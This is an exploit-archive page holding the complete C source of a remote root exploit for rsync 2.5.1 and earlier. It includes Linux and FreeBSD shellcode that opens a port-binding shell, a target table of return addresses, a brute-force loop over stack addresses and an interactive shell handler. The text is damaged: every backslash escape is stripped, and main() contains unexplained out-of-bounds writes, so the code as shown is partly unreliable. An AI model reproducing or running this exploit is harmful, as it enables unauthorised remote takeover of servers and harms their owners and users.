[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : rsync <= 2.5.1 Remote Exploit (2)
# Published : 2002-01-01
# Author : Teso
# Previous Title : System V Derived /bin/login Extraneous Arguments Buffer Overflow (modem based)
# Next Title : Solaris /bin/login Remote Root Exploit (SPARC/x86)


/* 7350rsync - rsync <= 2.5.1 remote exploit - x86 ver.
 *
 * current version 2.5.5 but bug was silently fixed it appears
 * so vuln versions still ship, maybe security implemecations
 * were not recognized. 
 *
 * we can write NULL bites below &line[0] by supplying negative
 * lengths. read_sbuf calls buf[len] = 0. standard NULL byte off
 * by one kungf00 from there on.
 * 
 * originally by 7350, dupshell/FreeBSD by sprinkles
 *
 * 
 *
 */


 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>

#define MAXPATHLEN      4096
#define VERSION         "@RSYNCD: 26n"

#define PORT            873
#define NULL_OFFSET     -48
#define STARTNULLBRUTE  -44
#define ENDNULLBRUTE    -56
#define BRUTEBASE       0xbfff7777
#define INCREMENT       512
#define ALLIGN          0 /* pop byte allignment */

#define SEND            "uname -a; idn"

int open_s(char *h, int p);
int setup(int s);
int exploit(int s);
void quit(int s); /* garbage quit */

void handleshell(int closeme, int s);
void usage(char *n);

char linux_port[] = /* x86 linux portshell 30464 */
"x31xc0xb0x02xcdx80x85xc0x75x43xebx43x5ex31xc0"
"x31xdbx89xf1xb0x02x89x06xb0x01x89x46x04xb0x06"
"x89x46x08xb0x66xb3x01xcdx80x89x06xb0x02x66x89"
"x46x0cxb0x77x66x89x46x0ex8dx46x0cx89x46x04x31"
"xc0x89x46x10xb0x10x89x46x08xb0x66xb3x02xcdx80"
"xebx04xebx55xebx5bxb0x01x89x46x04xb0x66xb3x04"
"xcdx80x31xc0x89x46x04x89x46x08xb0x66xb3x05xcd"
"x80x88xc3xb0x3fx31xc9xcdx80xb0x3fxb1x01xcdx80"
"xb0x3fxb1x02xcdx80xb8x2fx62x69x6ex89x06xb8x2f"
"x73x68x2fx89x46x04x31xc0x88x46x07x89x76x08x89"
"x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31"
"xc0xb0x01x31xdbxcdx80xe8x5bxffxffxff";

char linux_dup[] = /* x86 linux dupshell */
"x31xc0x50x40x89xc3x50x40x50xcdx80x85xc0x74x05x93"
"x31xdbxcdx80xb0x42xcdx80x31xc0xb0x06x31xdbxb3x03"
"x50xcdx80x58x4bx79xf9xb0x30x43xb3x0fx31xc9x41x50"
"xcdx80x58x80xe3x03x4bx75xf6x43xb0x66x89xe1x50xcd"
"x80x92x43x6ax10x8dx7cx24x04x57x52xb8x02xffx0bx1a"
"xfexc4xabx31xc0xabxb0x66x89xe1x50xcdx80x85xc0x78"
"x4ex58xb3x04x6ax05x52x89xe1x50xcdx80x31xc0xb0x06"
"xcdx80x58x31xdbxb0x66xb3x05x31xc9x51x51x52x89xe1"
"x50xcdx80x85xc0x78x28x93x31xc0x40x40xcdx80x85xc0"
"x75xdax87xdaxb0x06xcdx80x87xdaxb0x29xcdx80xb0x29"
"xcdx80x31xc0xb0x06x31xdbxb3x03xcdx80x58xebx1dx31"
"xc0x31xdbx40xcdx80x5bx31xc0x88x43x07x8dx4bx08x89"
"x19x89x41x04xb0x0bx31xd2xcdx80xebxe3xe8xe5xffxff"
"xff/bin/sh";

char freebsd_port[] = /* x86 FreeBSD portshell 30464 */
"x31xc0x40x40xcdx80x85xc0x74x16xebx60x5ex56x31xc9"
"xb1x10x89xf7xadx35xc0x8axc0x8axabxe2xf7x5exebx4e"
"xe8xe7xffxffxffx95xd9x85xd8xe0xf2xe0xf2xe0xf2xe0"
"xf2xcdx80x8exc3x83xc1xe0xcfxf0xccxcdx80x8dxc5x84"
"xcfxe0xcfxf0xccxe0xb0xedxf2xcdx80x8axc5x89xc4xe0"
"xa9xf0xf2x85xc5x86xaaxa4xffxa4xefxcdx80x91xdfx89"
"xdexcdx80x85xc0x31xc0x40x31xdbxcdx80xebx7cx89xe7"
"x31xdbx43x31xc0x50x40x50x40x50xb0x66x89xe1x50xcd"
"x80x92x58x5bx5bx5bxb3x03x6ax10x57x52x50xb8x02xff"
"x1ax0bxfexc4xabxb8xd8x28xf4x7dxabx58xcdx80x5bx58"
"x58xb0x04x89xf1x31xd2xb2x18x01xd6xcdx80x31xd2xb2"
"xffx31xc0xb0x03x89xe1xcdx80x85xc0x76xa8x81x39x50"
"x49x4ex47x74x06x41x48x75xf4xebxe6x89xcfx47xc6x07"
"x4fx87xf7xacx3cx0ax75xfbx87xfex91xb1x26xf3xa4x91"
"xb0x04x89xfax29xcaxcdx80xebxc3";

struct x_info {
        char *h;
        int p;
        char *module;
        int null_offset;
        u_long brutebase;
        int shell;
        int checkvuln;
        int nullbrute;
        int allign;
} rsx;
        
struct {
  char *desc;             /* description */
  int retdist;   
  unsigned int retaddr;         /* return address */
  char *shell;
} targets[] = {
  { "Linux Redhat 7.0 x86 / rsync 2.5.0", -0x1f0, 0x80e1d0, linux_port },
  { "Linux Redhat 7.0 x86 / rsync 2.5.1", -0x1f0, 0x80e23c, linux_dup },
  { "Linux Redhat 7.1 x86 / rsync 2.5.0", -0x1f0, 0x80e1c4, linux_port },
  { "Linux Redhat 7.1 x86 / rsync 2.5.1", -0x1f0, 0x80e230, linux_dup },
  { "Linux Redhat 7.2 x86 / rsync 2.5.0", -0x1f0, 0x80e1b8, linux_port },
  { "Linux Redhat 7.2 x86 / rsync 2.5.1", -0x1f0, 0x80e22c, linux_dup },
  { "Linux Mandrake 8.0 x86 / rsync 2.5.0", -0x1f0, 0x80e3a4, linux_port },
  { "Linux Mandrake 8.0 x86 / rsync 2.5.1", -0x1f0, 0x80e428, linux_dup },
  { "FreeBSD 4.2 x86 / rsync 2.5.0", -0x86, 0x80a248, freebsd_port },
  { "FreeBSD 4.2 x86 / rsync 2.5.1", -0x86, 0x80a29c, freebsd_port },
  { "FreeBSD 4.3 x86 / rsync 2.5.0", -0x86, 0x80a254, freebsd_port },
  { "FreeBSD 4.3 x86 / rsync 2.5.1", -0x86, 0x80a2a0, freebsd_port },
  { "FreeBSD 4.4 x86 / rsync 2.5.0", -0x86, 0x80a278, freebsd_port },
  { "FreeBSD 4.4 x86 / rsync 2.5.1", -0x86, 0x80a2b4, freebsd_port },
  { "FreeBSD 4.5 x86 / rsync 2.5.0", -0x86, 0x80a28c, freebsd_port },
  { "FreeBSD 4.5 x86 / rsync 2.5.1", -0x86, 0x80a2dc, freebsd_port },
}, *victim;

int
main(int argc, char **argv)
{
        int pipa[2];
        char c;
        int s,r;
        char buf[1024];
        char **p;
        u_long store;
        
        fprintf(stderr, "7350rsync - rsync <= 2.5.1 remote exploit - x86 ver.n"
                        "-scn"
                        "n");

        p = ((char **)targets) + 35;
        rsx.p = PORT;
        rsx.null_offset = NULL_OFFSET;
        rsx.brutebase = BRUTEBASE;
        rsx.nullbrute = 0;
        rsx.allign = ALLIGN;

        strcpy(buf, *p);
        p -= 4;
        strcat(buf, *p);
        pipa[2] = (int)buf;
        pipa[3] = (int)buf;

        if(argc == 1) { usage(argv[0]); return 0; }

        while((c = getopt(argc, argv, "h:p:m:d:r:t:")) != EOF) {
                switch(c) {
                        case 'h':
                                rsx.h = optarg;
                                break;
                        case 'p':
                                rsx.p = atoi(optarg);
                                break;
                        case 'm':
                                rsx.module = optarg;
                                break;
                        case 'd':
                               rsx.null_offset = atoi(optarg);
                                break;
                        case 'r':
                                rsx.brutebase = strtoul(optarg, (char **)optarg+strlen(optarg), 16);
                                break;
                        case 't':
                                if(atoi(optarg) < 1 || atoi(optarg) > sizeof(targets) / sizeof(targets[0]))
                                  usage(argv[0]);
                                victim = &targets[atoi(optarg) - 1];
                                break;
                        default:
                                usage(argv[0]);
                                return 0;
                }
        }
        
        if(optind == argc)
          { usage(argv[0]); return 0; }
  
        rsx.h = argv[optind++];
        /* NULL byte brute wrap */
        
        store = rsx.brutebase;
        
        if(rsx.nullbrute) 
                for(rsx.null_offset = STARTNULLBRUTE; rsx.null_offset >= ENDNULLBRUTE; rsx.null_offset--) {
                        fprintf(stderr, "noffset: %dn", rsx.null_offset);             
                        /* start run -- cuten this up with some connectback shellcode */
                        for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
                                if((s = open_s(rsx.h, rsx.p)) < 0) {
                                        fprintf(stderr, "poop..byen");
                                        return 1;
                                }
                          
                          if((r = setup(s)) > 0)
                            {
                              if((r = exploit(s)) > 0)             
                                handleshell(s, rsx.shell);
                            }
                          else
                            return 1;
                        }
                        rsx.brutebase = store;                  
                }        
        

        for(rsx.checkvuln = 1; rsx.brutebase <= 0xbfffffff; rsx.brutebase += INCREMENT) {
                if((s = open_s(rsx.h, rsx.p)) < 0) {
                        fprintf(stderr, "poop..byen");
                        return 1;
                }

                if((r = setup(s)) > 0)
            {
              
                        if(exploit(s) > 0)
                                handleshell(s, rsx.shell);
            }
          else
            return 1;
        }


        fprintf(stderr, "No luck...byen");     
        return 1;
}

void
quit(int s)
{
        /* we just write a garbage quit to make the remote end the process */
        /* very crude but who cares */
        write(s, "QUITn", 5);
        close(s);
}  

int
setup(int s)
{
        /* we just dump our setup info on the socket. kludge */
        
        char out[512], *check;
        long version = 0;
        
        
        if(rsx.checkvuln) {
                rsx.checkvuln = 0; /* just check once */
                
                /* get version reply -- vuln check */
                memset(out, '', sizeof(out));
                read(s, out, sizeof(out)-1);
                if((check = strchr(out, (int)':')) != NULL) {
                        version = strtoul((char *)check+1, (char **)check+3, 0);
                        if(version >= 26) {
                          fprintf(stderr, "target is not vulnerable (version: %lu)n", version);
                          return -1;
                        }
                }
                else {
                        fprintf(stderr, "did not get version reply..abortingn");
                        quit(s);
                        return -1;
                }
                
                fprintf(stderr, "Target appears to be vulnerable..continue attackn");
        }
        
        /* our version string */        
        if(write(s, VERSION, strlen(VERSION)) < 0) return -1;

        /* the module we supposedly want to retrieve */
        memset(out, '', sizeof(out));
        snprintf(out, sizeof(out)-1, "%sn", rsx.module);
        if(write(s, out, strlen(out)) < 0) return -1;
        if(write(s, "--servern", 9) < 0) return -1;
        if(write(s, "--sendern", 9) < 0) return -1;
        if(write(s, ".n", 2) < 0) return -1;
        /* send module name once more */
        if(write(s, out, strlen(out)) < 0) return -1;
        /* send newline */
        if(write(s, "n", 1) < 0) return -1;

        return 1;
}

int
exploit(int s) 
{
        
        char x_buf[MAXPATHLEN], b[4];
        int i;

        /* sleep(15); */

        memset(x_buf, 0x90, ((MAXPATHLEN/2)-strlen(victim->shell)));
        memcpy(x_buf+((MAXPATHLEN/2)-strlen(victim->shell)), victim->shell, strlen(victim->shell));
        /* allign our address bytes for the pop if needed */
        for(i=(MAXPATHLEN/2); i<((MAXPATHLEN/2)+rsx.allign);i++)
                x_buf[i] = 'x';
        for(i=((MAXPATHLEN/2)+rsx.allign); i<MAXPATHLEN; i+=4)
                *(long *)&x_buf[i] = rsx.brutebase;
        *(int *)&b[0] = (MAXPATHLEN-1);
        if(write(s, b, 4) < 0) return -1;
        if(write(s, x_buf, (MAXPATHLEN-1)) < 0) return -1;
        /* send NULL byte offset from &line[0] to read_sbuf() ebp */
        *(int *)&b[0] = rsx.null_offset;
        if(write(s, b, 4) < 0) return -1;
        /* let rsync know it can go ahead and own itself now */
        memset(b, '', 4);
        if(write(s, b, 4) < 0) return -1;

        /* zzz for shell setup */
        usleep(50000);
        
        /* check for our shell -- (mod this to be connectback friendly bruteforce) */
        fprintf(stderr, ";");
        if((rsx.shell = open_s(rsx.h, 30464)) < 0) {
                if(rand() % 2)
                        fprintf(stderr, "P");
                else
                        fprintf(stderr, "p");
                quit(s);
                return -1;
        }
        
        fprintf(stderr, "nnSuccess! (ret: %08x offset: %d)nn", (int)rsx.brutebase, rsx.null_offset);
        return 1;       
}
        
void
usage(char *n) {
  int i;
  fprintf(stderr, "usage: %s [options] <hostname>n"
          "nOptions:n"
          "t-m moduletmodule to requestn"
          "t-p portttport connecting to (default: 873)n"
          "t-d distttret - buf distancen"
          "t-r retttreturn addressn"
          "t-t targettselect targetn", n);
  for(i = 0; i < sizeof(targets) / sizeof(targets[0]); i++)
    fprintf(stderr, "ttt(%u) %s, %d, %08xn", i + 1, targets[i].desc, targets[i].retdist, targets[i].retaddr);
    
  
}
        

int
open_s(char *h, int p)
{
        struct sockaddr_in remote;
        struct hostent *iplookup;
        char *ipaddress;
        int sfd;

        if((iplookup = gethostbyname(h)) == NULL) {
                perror("gethostbyname");
                return -1;
        }

        ipaddress = (char *)inet_ntoa(*((struct in_addr *)iplookup->h_addr));
        sfd = socket(AF_INET, SOCK_STREAM, 0);

        remote.sin_family = AF_INET;
        remote.sin_addr.s_addr = inet_addr(ipaddress);
        remote.sin_port = htons(p);
        memset(&(remote.sin_zero), '', 8);

        if(connect(sfd, (struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) return -1;
        
        return sfd;
}

void
handleshell(int closeme, int s)   
{
        char in[512], out[512];
        fd_set fdset;
        
        close(closeme);
        
        if(write(s, SEND, strlen(SEND)) < 0 ) {
                fprintf(stderr, "write errorn");
                return;
        }       
 
        while(1) {
        
                FD_ZERO(&fdset);
                FD_SET(fileno(stdin), &fdset);
                FD_SET(s, &fdset);
        
                select(s+1, &fdset, NULL, NULL, NULL);
        
                if(FD_ISSET(fileno(stdin), &fdset)) {
                        memset(out, '', sizeof(out));
                        if(read(0, out, (sizeof(out)-1)) < 0) {
                                fprintf(stderr, "read errorn");
                                exit(1);
                        }
                        if(!strncmp(out, "exit", 4)) {
                                write(s, out, strlen(out));
                                quit(s);
                                exit(0);
                        }
                        if(write(s, out, strlen(out)) < 0) {
                                fprintf(stderr, "write errorn");
                                exit(1);
                        }
                }
        
                if(FD_ISSET(s, &fdset)) {
                        memset(in, '', sizeof(in));
                        if(read(s, in, (sizeof(in)-1)) < 0) {
                                fprintf(stderr, "read errorn");
                                exit(1);
                        }
                        fprintf(stderr, "%s", in);
                }
        }
}

// www.Syue.com [2002-01-01]